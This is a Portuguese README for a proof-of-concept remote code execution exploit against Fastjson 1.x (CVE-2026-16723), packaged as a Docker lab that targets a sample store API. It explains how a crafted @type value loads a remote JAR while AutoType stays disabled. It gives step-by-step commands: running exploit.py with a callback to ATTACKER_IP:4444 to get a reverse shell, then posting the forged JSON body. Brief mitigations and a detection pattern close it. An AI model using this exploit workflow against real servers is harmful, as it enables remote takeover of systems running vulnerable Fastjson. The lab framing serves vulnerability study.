
Exploit de PoC para RCE no Fastjson (CVE-2026-16723) com geração automatizada de payloads JAR e entrega via JSON elaborado, contornando as restrições do AutoType.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 é uma vulnerabilidade de Execução Remota de Código (RCE) no Fastjson 1.x (1.2.68 – 1.2.83). Quando o Fastjson analisa JSON controlado pelo atacante, um valor
@typemalicioso é transformado em uma consulta de recurso de classe dentro decheckAutoType. Em um fat-JAR executável do Spring Boot, o carregador de classes resolve esse nome como uma URLjar:http://e busca um JAR remoto (SSRF), depois carrega uma classe que contém a anotação@JSONTypemesmo com o AutoType desabilitado. Como um JDK / Tomcat moderno rejeita o nome bináriojar:http://, a variante confiável insere o JAR no cache da JVM e o lê novamente através dejar:file:/proc/self/fd/N, de modo que a classe é definida e seu inicializador estático é executado, resultando em execução de código. O AutoType permanece desabilitado e nenhum gadget de classpath é necessário.
| Categoria | Versão |
|---|---|
| Vulnerável | Fastjson 1.2.68 ≤ versão ≤ 1.2.83 |
| Corrigido | Migre para Fastjson 2.x (sem correção na versão 1.x) |
O alvo do laboratório é uma loja pública (Northwind Store) cuja API de busca vincula
o corpo da requisição com Fastjson. Tudo está no padrão original do Fastjson:
SafeMode desativado, AutoType desativado, empacotado como um fat-JAR do Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Pré-requisito | Estado neste laboratório |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| fat-JAR executável do Spring Boot | sim |
| Caminho de análise JSON sem autenticação | POST /api/products/search |
| SafeMode / AutoType | padrão (ambos desativados) |
O atacante e o alvo estão na mesma rede bridge do Docker, portanto o alvo alcança o atacante por meio de uma conexão de saída (nenhuma porta extra é publicada).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py constrói o JAR do payload, o serve, inicia um listener e imprime
o corpo da requisição. Apenas o endereço de callback é necessário.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Cole o corpo impresso no endpoint de busca (Burp Repeater ou curl) e
envie-o. A requisição de busca é um recurso normal; apenas o corpo JSON é forjado.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
O código é executado como a conta de serviço. Obtenha a flag por meio do shell obtido:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type no JSON contendo padrões jar:http ou jar:file / /proc/self/fd